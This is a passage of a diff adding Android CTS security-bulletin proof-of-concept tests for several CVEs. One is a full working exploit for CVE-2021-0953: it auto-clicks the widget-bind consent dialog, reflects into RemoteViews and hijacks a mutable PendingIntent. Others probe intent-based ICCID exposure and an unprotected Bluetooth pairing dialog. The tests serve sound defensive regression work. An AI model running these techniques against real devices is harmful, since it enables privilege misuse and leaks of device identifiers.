+ assumeNoException(e);
+ }
+
+ // Check if "com.android.phone" exists on the system
+ try {
+ packageManager.getPackageUid(PACKAGE_NAME, 0);
+ } catch (PackageManager.NameNotFoundException e) {
+ assumeNoException(e);
+ }
+
+ // Wait for activity (which is part of package "com.android.phone") that
+ // handles ACTION_CONFIGURE_VOICEMAIL to get launched
+ boolean isVoicemailVisible =
+ device.wait(Until.hasObject(By.pkg(PACKAGE_NAME)), LAUNCH_TIMEOUT_MS);
+
+ // To check if PocActivity was launched
+ BySelector selector = By.enabled(true);
+ List<UiObject2> objects = device.findObjects(selector);
+ boolean isPocActivityVisible = false;
+ for (UiObject2 o : objects) {
+ String visibleText = o.getText();
+ if ((visibleText != null) && (visibleText.equalsIgnoreCase(APP_TITLE))) {
+ isPocActivityVisible = true;
+ break;
+ }
+ }
+ device.pressHome();
+
+ assumeTrue(isVoicemailVisible || isPocActivityVisible);
+
+ String outputMsg = "Device is vulnerable to b/185126149 "
+ + "hence sensitive Iccid could be sniffed by intercepting "
+ + "ACTION_CONFIGURE_VOICEMAIL implicit intent";
+ assertTrue(outputMsg, ((isVoicemailVisible) && (!isPocActivityVisible)));
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/src/android/security/cts/cve_2021_0642/PocActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/src/android/security/cts/cve_2021_0642/PocActivity.java
new file mode 100644
index 0000000..1a335c7
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/src/android/security/cts/cve_2021_0642/PocActivity.java
@@ -0,0 +1,22 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.cve_2021_0642;
+
+import android.app.Activity;
+
+public class PocActivity extends Activity {
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/Android.bp
similarity index 64%
copy from hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp
copy to hostsidetests/securitybulletin/test-apps/CVE-2021-0953/Android.bp
index bcbf54f..c458976 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/Android.bp
@@ -12,15 +12,29 @@
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
- *
*/
package {
default_applicable_licenses: ["Android-Apache-2.0"],
}
-cc_test {
- name: "CVE-2020-29368",
- defaults: ["cts_hostsidetests_securitybulletin_defaults"],
- srcs: ["poc.cpp",],
+android_test_helper_app {
+ name: "CVE-2021-0953",
+ defaults: [
+ "cts_support_defaults",
+ ],
+ srcs: [
+ "src/**/*.java",
+ ],
+ test_suites: [
+ "cts",
+ "vts10",
+ "sts",
+ ],
+ static_libs: [
+ "androidx.test.core",
+ "androidx.test.rules",
+ "androidx.test.uiautomator_uiautomator",
+ ],
+ platform_apis: true,
}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/AndroidManifest.xml
new file mode 100644
index 0000000..ddc942f
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/AndroidManifest.xml
@@ -0,0 +1,45 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2021 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.security.cts.CVE_2021_0953"
+ android:versionCode="1"
+ android:versionName="1.0">
+ <application
+ android:label="CVE-2021-0953"
+ android:supportsRtl="true">
+ <activity
+ android:name=".PocActivity"
+ android:exported="true">
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN"/>
+ <category android:name="android.intent.category.LAUNCHER"/>
+ </intent-filter>
+ </activity>
+ <activity
+ android:name=".PocVulnerableActivity"
+ android:exported="true">
+ <intent-filter>
+ <action android:name="android.speech.action.WEB_SEARCH"/>
+ <category android:name="android.intent.category.DEFAULT"/>
+ </intent-filter>
+ </activity>
+ </application>
+ <instrumentation
+ android:name="androidx.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.security.cts.CVE_2021_0953" />
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/res/layout/activity_main.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/res/layout/activity_main.xml
new file mode 100644
index 0000000..13651bd
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/res/layout/activity_main.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2021 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+
+<LinearLayout
+ xmlns:android="http://schemas.android.com/apk/res/android"
+ xmlns:app="http://schemas.android.com/apk/res-auto"
+ android:orientation="vertical"
+ android:layout_width="match_parent"
+ android:layout_height="match_parent">
+ <View
+ android:layout_width="match_parent"
+ android:layout_height="match_parent"/>
+</LinearLayout>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/res/layout/vulnerable_activity_main.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/res/layout/vulnerable_activity_main.xml
new file mode 100644
index 0000000..2d3268b
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/res/layout/vulnerable_activity_main.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2021 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+
+<LinearLayout
+ xmlns:android="http://schemas.android.com/apk/res/android"
+ android:layout_width="match_parent"
+ android:layout_height="match_parent">
+ <View
+ android:id="@+id/pocVulnerableActivity"
+ android:layout_width="match_parent"
+ android:layout_height="match_parent"/>
+</LinearLayout>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/res/values/integers.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/res/values/integers.xml
new file mode 100644
index 0000000..c027ecf
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/res/values/integers.xml
@@ -0,0 +1,22 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2021 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+
+<resources>
+ <integer name="assumption_failure">-1</integer>
+ <integer name="pass">0</integer>
+ <integer name="fail">1</integer>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/res/values/strings.xml
new file mode 100644
index 0000000..6998865
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/res/values/strings.xml
@@ -0,0 +1,22 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2021 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+
+<resources>
+ <string name="callback_key">testMutablePendingIntentCallback</string>
+ <string name="message_key">testMutablePendingIntentMessage</string>
+ <string name="status_key">testMutablePendingIntentStatus</string>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/src/android/security/cts/CVE_2021_0953/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/src/android/security/cts/CVE_2021_0953/DeviceTest.java
new file mode 100644
index 0000000..ee5dac6
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/src/android/security/cts/CVE_2021_0953/DeviceTest.java
@@ -0,0 +1,100 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_0953;
+
+import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
+import static org.junit.Assert.assertNotEquals;
+import static org.junit.Assume.assumeNoException;
+import static org.junit.Assume.assumeTrue;
+
+import android.app.Activity;
+import android.content.Context;
+import android.content.Intent;
+import android.os.Bundle;
+import android.os.RemoteCallback;
+
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.concurrent.CompletableFuture;
+import java.util.concurrent.ExecutionException;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.TimeoutException;
+
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+ public static final int TIMEOUT_SEC = 20;
+ public static final String TEST_PACKAGE = "android.security.cts.CVE_2021_0953";
+
+ @Test
+ public void testMutablePendingIntent() {
+ final Context context = getApplicationContext();
+ PocStatus status = new PocStatus();
+ CompletableFuture<PocStatus> callbackReturn = new CompletableFuture<>();
+ RemoteCallback cb = new RemoteCallback((Bundle result) -> {
+ PocStatus pocStatus = new PocStatus();
+ pocStatus.setErrorMessage(
+ result.getString(context.getResources().getString(R.string.message_key)));
+ pocStatus.setStatusCode(
+ result.getInt(context.getResources().getString(R.string.status_key)));
+ callbackReturn.complete(pocStatus);
+ });
+ launchActivity(PocActivity.class, cb); // start activity with callback
+ try {
+ // blocking while the remotecallback is unset
+ status = callbackReturn.get(TIMEOUT_SEC, TimeUnit.SECONDS);
+ } catch (InterruptedException | ExecutionException | TimeoutException e) {
+ assumeNoException(e);
+ }
+ assumeTrue(status.getErrorMessage(), status.getStatusCode() != context.getResources()
+ .getInteger(R.integer.assumption_failure));
+ assertNotEquals(status.getErrorMessage(), status.getStatusCode(),
+ context.getResources().getInteger(R.integer.fail));
+ }
+
+ private void launchActivity(Class<? extends Activity> clazz, RemoteCallback cb) {
+ final Context context = getApplicationContext();
+ final Intent intent = new Intent(Intent.ACTION_MAIN);
+ intent.setClassName(TEST_PACKAGE, clazz.getName());
+ intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+ intent.putExtra(context.getResources().getString(R.string.callback_key), cb);
+ context.startActivity(intent);
+ }
+
+ private class PocStatus {
+ private int statusCode;
+ private String errorMessage;
+
+ public void setStatusCode(int status) {
+ statusCode = status;
+ }
+
+ public void setErrorMessage(String message) {
+ errorMessage = message;
+ }
+
+ public int getStatusCode() {
+ return statusCode;
+ }
+
+ public String getErrorMessage() {
+ return errorMessage;
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/src/android/security/cts/CVE_2021_0953/PocActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/src/android/security/cts/CVE_2021_0953/PocActivity.java
new file mode 100644
index 0000000..c28bd75
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/src/android/security/cts/CVE_2021_0953/PocActivity.java
@@ -0,0 +1,260 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_0953;
+
+import android.app.Activity;
+import android.app.PendingIntent;
+import android.appwidget.AppWidgetHost;
+import android.appwidget.AppWidgetManager;
+import android.content.ComponentName;
+import android.content.ActivityNotFoundException;
+import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.content.pm.ResolveInfo;
+import android.os.Bundle;
+import android.os.IBinder;
+import android.os.Parcel;
+import android.os.RemoteCallback;
+import android.os.RemoteException;
+import android.widget.RemoteViews;
+
+import androidx.test.uiautomator.By;
+import androidx.test.uiautomator.BySelector;
+import androidx.test.uiautomator.UiDevice;
+import androidx.test.uiautomator.UiObject2;
+import androidx.test.uiautomator.Until;
+import androidx.test.InstrumentationRegistry;
+
+import java.lang.reflect.Field;
+import java.lang.reflect.InvocationTargetException;
+import java.lang.reflect.Method;
+import java.util.ArrayList;
+import java.util.List;
+
+public class PocActivity extends Activity {
+ public static int APPWIDGET_ID;
+ public static int REQUEST_BIND_APPWIDGET = 0;
+ public static final int TIMEOUT_MS = 10000;
+
+ Class mClRemoteViews;
+ Field mActions, mResponse, mFldPendingIntent;
+ Method mGetDeclaredField;
+ Object mObjSetOnClickResponse;
+ PendingIntent mPendingIntent;
+
+ @Override
+ public void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+ setContentView(R.layout.activity_main);
+ UiDevice device = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
+ AppWidgetHost appWidgetHost;
+ AppWidgetManager appWidgetManager;
+ PocActivity pocActivity = PocActivity.this;
+ appWidgetManager = AppWidgetManager.getInstance(this);
+ appWidgetHost = new AppWidgetHost(PocActivity.this.getApplicationContext(), 0);
+ APPWIDGET_ID = appWidgetHost.allocateAppWidgetId();
+ Intent intent = new Intent("android.appwidget.action.APPWIDGET_BIND");
+ intent.putExtra("appWidgetId", APPWIDGET_ID);
+ intent.putExtra("appWidgetProvider", new ComponentName("com.android.quicksearchbox",
+ "com.android.quicksearchbox.SearchWidgetProvider"));
+ try {
+ PocActivity.this.startActivityForResult(intent, REQUEST_BIND_APPWIDGET);
+ } catch (ActivityNotFoundException e) {
+ sendTestResult(getResources().getInteger(R.integer.assumption_failure),
+ "Could not start activity");
+ return;
+ }
+ String settingsPkgName = "";
+ PackageManager pm = getPackageManager();
+ List<ResolveInfo> ris = pm.queryIntentActivities(intent, PackageManager.MATCH_DEFAULT_ONLY);
+ for (ResolveInfo ri : ris) {
+ if (ri.activityInfo.name.contains("AllowBindAppWidgetActivity")) {
+ settingsPkgName = ri.activityInfo.packageName;
+ }
+ }
+ if (settingsPkgName.equals("")) {
+ sendTestResult(getResources().getInteger(R.integer.assumption_failure),
+ "Settings package not found/AllowBindAppWidgetActivity not found");
+ return;
+ }
+ if (!device.wait(Until.hasObject(By.pkg(settingsPkgName)), TIMEOUT_MS)) {
+ sendTestResult(getResources().getInteger(R.integer.assumption_failure),
+ "Unable to start AllowBindAppWidgetActivity");
+ return;
+ }
+ boolean buttonClicked = false;
+ BySelector selector = By.clickable(true);
+ List<UiObject2> objects = device.findObjects(selector);
+ for (UiObject2 object : objects) {
+ String objectText = object.getText();
+ String objectClass = object.getClassName();
+ if (objectText == null) {
+ continue;
+ }
+ if (objectText.equalsIgnoreCase("CREATE")) {
+ object.click();
+ buttonClicked = true;
+ break;
+ }
+ }
+ if (!device.wait(Until.gone(By.pkg(settingsPkgName)), TIMEOUT_MS) || !buttonClicked) {
+ sendTestResult(getResources().getInteger(R.integer.assumption_failure),
+ "'Create' button not found/clicked");
+ return;
+ }
+ }
+
+ @Override
+ public void onActivityResult(int requestCode, int resultCode, Intent data) {
+ super.onActivityResult(requestCode, resultCode, data);
+ PocActivity pocActivity = PocActivity.this;
+ if (requestCode == REQUEST_BIND_APPWIDGET) {
+ if (resultCode == -1) {
+ APPWIDGET_ID = data.getIntExtra("appWidgetId", APPWIDGET_ID);
+ }
+ }
+ RemoteViews remoteViews =
+ pocActivity.callBinder(pocActivity.getPackageName(), APPWIDGET_ID);
+ if (remoteViews == null) {
+ sendTestResult(getResources().getInteger(R.integer.assumption_failure),
+ "remoteViews is null as callBinder() failed");
+ return;
+ }
+ try {
+ mClRemoteViews = Class.forName("android.widget.RemoteViews");
+ } catch (ClassNotFoundException e) {
+ e.printStackTrace();
+ sendTestResult(getResources().getInteger(R.integer.assumption_failure),
+ "Class android.widget.RemoteViews not found");
+ return;
+ }
+ Class[] rvSubClasses = mClRemoteViews.getDeclaredClasses();
+ Class clSetOnClickResponse = null;
+ Class clRemoteResponse = null;
+ for (Class c : rvSubClasses) {
+ if (c.getCanonicalName().equals("android.widget.RemoteViews.SetOnClickResponse")) {
+ clSetOnClickResponse = c;
+ }
+ if (c.getCanonicalName().equals("android.widget.RemoteViews.RemoteResponse")) {
+ clRemoteResponse = c;
+ }
+ }
+ try {
+ mActions = mClRemoteViews.getDeclaredField("mActions");
+ } catch (NoSuchFieldException e) {
+ e.printStackTrace();
+ sendTestResult(getResources().getInteger(R.integer.assumption_failure),
+ "mActions field not found");
+ return;
+ }
+ mActions.setAccessible(true);
+ try {
+ mObjSetOnClickResponse = ((ArrayList) mActions.get(remoteViews)).get(1);
+ mGetDeclaredField = Class.class.getDeclaredMethod("getDeclaredField", String.class);
+ mResponse = (Field) mGetDeclaredField.invoke(clSetOnClickResponse, "mResponse");
+ } catch (NoSuchMethodException | IllegalAccessException | InvocationTargetException e) {
+ e.printStackTrace();
+ sendTestResult(getResources().getInteger(R.integer.assumption_failure),
+ "mResponse field not found");
+ return;
+ }
+ mResponse.setAccessible(true);
+ try {
+ mFldPendingIntent =
+ (Field) mGetDeclaredField.invoke(clRemoteResponse, "mPendingIntent");
+ } catch (IllegalAccessException | InvocationTargetException e) {
+ e.printStackTrace();
+ sendTestResult(getResources().getInteger(R.integer.assumption_failure),
+ "mPendingIntent field not found");
+ return;
+ }
+ mFldPendingIntent.setAccessible(true);
+ try {
+ mPendingIntent = (PendingIntent) mFldPendingIntent
+ .get((RemoteViews.RemoteResponse) mResponse.get(mObjSetOnClickResponse));
+ } catch (IllegalAccessException e) {
+ e.printStackTrace();
+ sendTestResult(getResources().getInteger(R.integer.assumption_failure),
+ "Unable to get PendingIntent");
+ return;
+ }
+ Intent spuriousIntent = new Intent(PocActivity.this, PocVulnerableActivity.class);
+ spuriousIntent.setPackage(getApplicationContext().getPackageName());
+ spuriousIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+ try {
+ mPendingIntent.send(getApplicationContext(), 0, spuriousIntent, null, null);
+ } catch (PendingIntent.CanceledException e) {
+ // this is expected when vulnerability is not present and hence return
+ sendTestResult(getResources().getInteger(R.integer.pass), "Pass");
+ return;
+ }
+ sendTestResult(getResources().getInteger(R.integer.fail),
+ "Device is vulnerable to b/184046278!!"
+ + " Mutable PendingIntent in QuickSearchBox widget");
+ }
+
+ private IBinder getService(String service) {
+ try {
+ Class clServiceManager = Class.forName("android.os.ServiceManager");
+ Method mtGetService = clServiceManager.getMethod("getService", String.class);
+ return (IBinder) mtGetService.invoke(null, service);
+ } catch (ClassNotFoundException | NoSuchMethodException | IllegalAccessException
+ | InvocationTargetException e) {
+ e.printStackTrace();
+ sendTestResult(getResources().getInteger(R.integer.assumption_failure),
+ "Failed to invoke android.os.ServiceManager service");
+ return null;
+ }
+ }
+
+ private RemoteViews callBinder(String callingPackage, int appWidgetId) {
+ String INTERFACE_DESCRIPTOR = "com.android.internal.appwidget.IAppWidgetService";
+ int GET_APP_WIDGET_VIEWS = 7;
+ Parcel data = Parcel.obtain();
+ Parcel reply = Parcel.obtain();
+ RemoteViews remoteViews = null;
+ IBinder service = getService("appwidget");
+ if (service != null) {
+ data.writeInterfaceToken(INTERFACE_DESCRIPTOR);
+ data.writeString(callingPackage);
+ data.writeInt(appWidgetId);
+ try {
+ service.transact(GET_APP_WIDGET_VIEWS, data, reply, 0);
+ } catch (RemoteException e) {
+ e.printStackTrace();
+ sendTestResult(getResources().getInteger(R.integer.assumption_failure),
+ "service.transact() failed due to RemoteException");
+ return null;
+ }
+ reply.readException();
+ if (reply.readInt() != 0) {
+ remoteViews = (RemoteViews) RemoteViews.CREATOR.createFromParcel(reply);
+ }
+ }
+ return remoteViews;
+ }
+
+ private void sendTestResult(int statusCode, String errorMessage) {
+ RemoteCallback cb =
+ (RemoteCallback) getIntent().getExtras().get(getString(R.string.callback_key));
+ Bundle res = new Bundle();
+ res.putString(getString(R.string.message_key), errorMessage);
+ res.putInt(getString(R.string.status_key), statusCode);
+ finish();
+ cb.sendResult(res); // update callback in test
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/src/android/security/cts/CVE_2021_0953/PocVulnerableActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/src/android/security/cts/CVE_2021_0953/PocVulnerableActivity.java
new file mode 100644
index 0000000..b99ba9d
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/src/android/security/cts/CVE_2021_0953/PocVulnerableActivity.java
@@ -0,0 +1,27 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_0953;
+
+import android.app.Activity;
+import android.os.Bundle;
+
+public class PocVulnerableActivity extends Activity {
+ public void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+ setContentView(R.layout.vulnerable_activity_main);
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0965/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-0965/Android.bp
index b40e56e..ee33256 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0965/Android.bp
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0965/Android.bp
@@ -37,5 +37,5 @@
"androidx.test.rules",
"androidx.test.uiautomator_uiautomator",
],
- sdk_version: "current",
+ platform_apis: true,
}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0965/src/android/security/cts/CVE_2021_0965/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0965/src/android/security/cts/CVE_2021_0965/DeviceTest.java
index e709d0a..46f1613 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0965/src/android/security/cts/CVE_2021_0965/DeviceTest.java
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0965/src/android/security/cts/CVE_2021_0965/DeviceTest.java
@@ -18,9 +18,20 @@
import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+import static org.junit.Assert.fail;
+import static org.junit.Assume.assumeNoException;
+
+import android.app.UiAutomation;
import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.content.pm.ResolveInfo;
+import android.os.UserHandle;
+import android.provider.Settings;
+
+import androidx.test.InstrumentationRegistry;
import androidx.test.runner.AndroidJUnit4;
import androidx.test.uiautomator.UiDevice;
+
import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
@@ -34,23 +45,64 @@
try {
device.wakeUp();
} catch (Exception e) {
+ e.printStackTrace();
+ assumeNoException(e);
}
device.pressHome();
}
+ private String getSettingsPkgName() {
+ PackageManager mgr = getInstrumentation().getTargetContext().getPackageManager();
+ UiAutomation ui = getInstrumentation().getUiAutomation();
+ String name = "com.android.settings";
+ try {
+ ui.adoptShellPermissionIdentity(android.Manifest.permission.INTERACT_ACROSS_USERS);
+ ResolveInfo info = mgr.resolveActivityAsUser(new Intent(Settings.ACTION_SETTINGS),
+ PackageManager.MATCH_SYSTEM_ONLY, UserHandle.USER_SYSTEM);
+ if (info != null && info.activityInfo != null) {
+ name = info.activityInfo.packageName;
+ }
+ } catch (Exception e) {
+ e.printStackTrace();
+ assumeNoException(e);
+ } finally {
+ ui.dropShellPermissionIdentity();
+ }
+ return name;
+ }
+
+ private boolean hasFeature(String feature) {
+ return InstrumentationRegistry.getContext().getPackageManager().hasSystemFeature(feature);
+ }
+
+ private boolean isTV() {
+ return hasFeature(PackageManager.FEATURE_LEANBACK);
+ }
+
@Test
public void testPermission() {
+ String pkg = getSettingsPkgName();
+ String cls = "";
+ if (isTV()) {
+ cls = ".accessories.BluetoothPairingDialog";
+ } else {
+ cls = ".bluetooth.BluetoothPairingDialog";
+ }
+
try {
Intent intent = new Intent(Intent.ACTION_MAIN);
- intent.setClassName("com.android.settings",
- "com.android.settings.bluetooth.BluetoothPairingDialog");
+ intent.setClassName(pkg, pkg + cls);
intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
getApplicationContext().startActivity(intent);
- } catch (SecurityException e) {
- return;
+ } catch (Exception ex) {
+ ex.printStackTrace();
+ if (ex instanceof SecurityException) {
+ return;
+ }
+ assumeNoException(ex);
}
/* If SecurityException is not thrown, it indicates absence of fix */
- throw new RuntimeException("Vulnerable to b/194300867 !!");
+ fail("Vulnerable to b/194300867 !!");
}
}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-39626/Android.bp
similarity index 61%
copy from hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp
copy to hostsidetests/securitybulletin/test-apps/CVE-2021-39626/Android.bp
index bcbf54f..d3e2302 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39626/Android.bp
@@ -1,5 +1,5 @@
/*
- * Copyright (C) 2021 The Android Open Source Project
+ * Copyright (C) 2022 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
@@ -19,8 +19,21 @@
default_applicable_licenses: ["Android-Apache-2.0"],
}
-cc_test {
- name: "CVE-2020-29368",
- defaults: ["cts_hostsidetests_securitybulletin_defaults"],
- srcs: ["poc.cpp",],
+android_test_helper_app {
+ name: "CVE-2021-39626",
+ defaults: [
+ "cts_defaults",
+ ],
+ srcs: [
+ "src/**/*.java",
+ ],
+ test_suites: [
+ "sts",
+ ],
+ sdk_version: "current",
+ static_libs: [
+ "androidx.test.core",
+ "androidx.test.rules",
+ "androidx.test.uiautomator_uiautomator",
+ ],
}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39626/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39626/AndroidManifest.xml
new file mode 100644
index 0000000..f097825
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39626/AndroidManifest.xml
@@ -0,0 +1,42 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.security.cts.CVE_2021_39626"
+ android:versionCode="1"
+ android:versionName="1.0">
+ <uses-permission android:name="android.permission.BLUETOOTH"/>
+ <uses-permission android:name="android.permission.BLUETOOTH_CONNECT"/>
